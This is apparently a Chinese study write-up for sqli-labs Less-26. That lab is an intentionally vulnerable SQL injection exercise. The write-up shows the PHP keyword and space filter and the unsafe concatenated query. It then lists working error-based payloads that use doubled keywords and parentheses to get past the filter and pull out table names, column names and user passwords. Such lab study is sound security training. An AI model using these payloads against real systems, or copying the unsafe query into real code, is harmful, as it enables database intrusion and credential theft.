sqli-labs-Less-26

SQLI-LAPS 实验记录

Less-26

这一关给出的提示信息显示对空格和注释符进行了过滤,但从源码来看,不仅是空格和注释符,还包括'or','and','/'等等,结合上一关的经验,我们保留使用双写绕过的方式,增加以 '()' 来绕过空格的方式进行注入。

php 复制代码
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,输入Payload如下:

php 复制代码
1' anandd (updatexml(1,concat(0x7e,database(),0x7e),1)) anandd '1'='1

结果如图所示,可以看到页面成功返回数据库名称:security。

后续查找数据库表名、列名及其他数据的Payload分别如下:

  • 查找表名:

    php 复制代码
    1' anandd (updatexml(1,(concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e)),1)) anandd '1'='1 
  • 查找列名:

    php 复制代码
    1' anandd (updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)='security'anandd(table_name)='users'),0x7e),1)) anandd '1'='1

    查找其他数据:

    复制代码
    1' anandd (updatexml(1,concat(0x7e,(select(concat(username,':',passwoorrd))from(security.users)where(id=1)),0x7e),1)) anandd '1'='1

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
倔强的石头_10 小时前
《Kingbase护城河》——猎捕慢查询:执行计划的微观解析与索引调优实战
数据库
SelectDB12 小时前
Apache Doris Python UDF:让 SQL 直接调用 Python 生态,支撑 Agent 时代复杂业务逻辑
大数据·数据库·python
jiayou642 天前
KingbaseES 表级与列级加密完全指南
数据库·后端
GBASE2 天前
G术时刻 |GBase 8s数据库事务并发控制之封锁技术介绍(下)
数据库
xiezhr3 天前
逛GitHub发现了一款免费的带AI功能的数据库管理工具
数据库·ai编程·dba
唐青枫4 天前
MySQL JSON 实战详解:从存储、查询、更新到 JSON_TABLE 与索引
sql·mysql
吃糖的小孩4 天前
给 QQ AI 机器人设计“可控记忆”:会话摘要、手动长期记忆与角色卡边界
数据库
小满8784 天前
5.Mysql事务隔离级别与锁机制
mysql
笃行3505 天前
金仓数据库数据安全双防线:静态存储加密与传输加密实战
数据库
笃行3505 天前
金仓数据库物理备份实战:sys_rman 全流程演练与误覆盖抢救
数据库